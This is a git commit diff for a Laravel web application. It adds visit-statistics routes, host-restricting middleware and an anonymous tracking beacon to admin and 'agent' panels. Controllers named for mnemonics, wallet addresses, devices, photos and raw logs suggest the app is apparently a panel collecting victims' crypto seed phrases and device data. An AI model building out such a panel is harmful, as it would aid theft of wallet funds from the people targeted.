fix: statisc

This commit is contained in:
hashbro
2026-08-10 03:53:10 +08:00
parent ad30453922
commit aad44bf52e
33 changed files with 1207 additions and 28 deletions
+6 -1
View File
@@ -9,13 +9,14 @@ use App\Http\Controllers\Admin\DeviceController;
use App\Http\Controllers\Admin\Google2faController;
use App\Http\Controllers\Admin\MnemonicController;
use App\Http\Controllers\Admin\NoteController;
use App\Http\Controllers\Admin\PageVisitController;
use App\Http\Controllers\Admin\PhotoController;
use App\Http\Controllers\Admin\RawLogController;
use App\Http\Controllers\Admin\SystemSettingsController;
use App\Http\Controllers\Admin\WalletAddressController;
use Illuminate\Support\Facades\Route;
Route::prefix('admin')->name('admin.')->group(function () {
Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(function () {
Route::get('login', [AuthController::class, 'showLogin'])->name('login');
Route::post('login', [AuthController::class, 'login'])->name('login.submit');
@@ -32,6 +33,10 @@ Route::prefix('admin')->name('admin.')->group(function () {
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
Route::get('devices', [DeviceController::class, 'index'])->name('devices.index');
Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data');
Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData');
+6 -1
View File
@@ -5,12 +5,13 @@ use App\Http\Controllers\Admin\DashboardController;
use App\Http\Controllers\Admin\DeviceController;
use App\Http\Controllers\Admin\MnemonicController;
use App\Http\Controllers\Admin\NoteController;
use App\Http\Controllers\Admin\PageVisitController;
use App\Http\Controllers\Admin\PhotoController;
use App\Http\Controllers\Admin\WalletAddressController;
use App\Http\Controllers\Agent\AuthController;
use Illuminate\Support\Facades\Route;
Route::prefix('user')->name('user.')->group(function () {
Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(function () {
Route::get('login', [AuthController::class, 'showLogin'])->name('login');
Route::post('login', [AuthController::class, 'login'])->name('login.submit');
@@ -21,6 +22,10 @@ Route::prefix('user')->name('user.')->group(function () {
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
Route::get('devices', [DeviceController::class, 'index'])->name('devices.index');
Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data');
Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData');
+7 -3
View File
@@ -1,7 +1,11 @@
<?php
use App\Http\Controllers\PageHitController;
use Illuminate\Support\Facades\Route;
Route::get('/', function () {
return redirect()->route('admin.login');
});
// Route::get('/', function () {
// return redirect()->route('admin.login');
// });
// Anonymous page-visit beacon (PV/UV); no session / CSRF.
Route::match(['GET', 'POST'], '/statistic/t', PageHitController::class)->name('page.hit');